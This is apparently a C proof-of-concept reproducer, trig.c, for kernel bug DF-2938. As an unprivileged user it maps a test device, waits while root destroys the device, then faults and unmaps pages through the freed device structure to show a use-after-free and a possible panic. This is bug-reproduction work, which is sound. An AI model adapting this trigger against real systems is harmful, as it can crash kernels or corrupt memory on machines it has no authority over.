DF-2938 / trig.c
/* * trig.c -- unprivileged trigger for DF-2938 * * Runs as nobody. Steps: * 1. open /dev/devuaf (0666) and mmap 2 pages MAP_SHARED; * 2. fault page 0 while the device is alive -> reads 'A' * (old pager fake-page insertion through the live cdev); * 3. signal readiness (argv[1] file), wait for the go-file argv[2] * (root destroys + replaces the device in between); * 4. fault page 1 -- this is vm_fault -> dev_pager_getpage -> * old_dev_pager_fault -> dev_dmmap(object->handle = FREED cdev); * 5. report what page 1 contains ('A' = normal, 'B' = fault served * through the freed cdev / its replacement, i.e. UAF); * 6. munmap -> vm_object_deallocate -> dev_pager_dealloc -> * old_dev_pager_dtor(freed cdev) -> KKASSERT(dev->si_object) on * freed (possibly reused) memory. * * usage: trig <readyfile> <gofile> <outfile> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/wait.h> int main(int argc, char **argv) { volatile unsigned char *map; int fd, i, fd2; char c0, c1; FILE *out; if (argc != 4) { fprintf(stderr, "usage: %s readyfile gofile outfile\n", argv[0]); exit(1); } setvbuf(stdout, NULL, _IONBF, 0); fd = open("/dev/devuaf", O_RDWR); if (fd < 0) { perror("open /dev/devuaf"); exit(1); } map = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); exit(1); } /* step 2: fault page 0 with the device alive */ c0 = map[0]; printf("TRIG: page0[0] = '%c' (expected 'A', device alive)\n", c0); /* step 3: handshake */ fd2 = open(argv[1], O_CREAT | O_WRONLY | O_TRUNC, 0666); if (fd2 >= 0) close(fd2); for (;;) { if (access(argv[2], F_OK) == 0) break; usleep(20000); } /* step 4: fault page 1 with the device destroyed -> UAF */ c1 = map[4096]; printf("TRIG: page1[0] = '%c'\n", c1); out = fopen(argv[3], "w"); fprintf(out, "page0=%c page1=%c uid=%d\n", c0, c1, getuid()); fclose(out); /* step 6: munmap -> dtor touches the freed cdev (KKASSERT/panic * if the chunk was reused; silent UAF-write otherwise) */ if (munmap((void *)map, 2 * 4096) < 0) perror("munmap"); printf("TRIG: munmap done, exiting\n"); return (c1 == 'B' ? 0 : 2); } |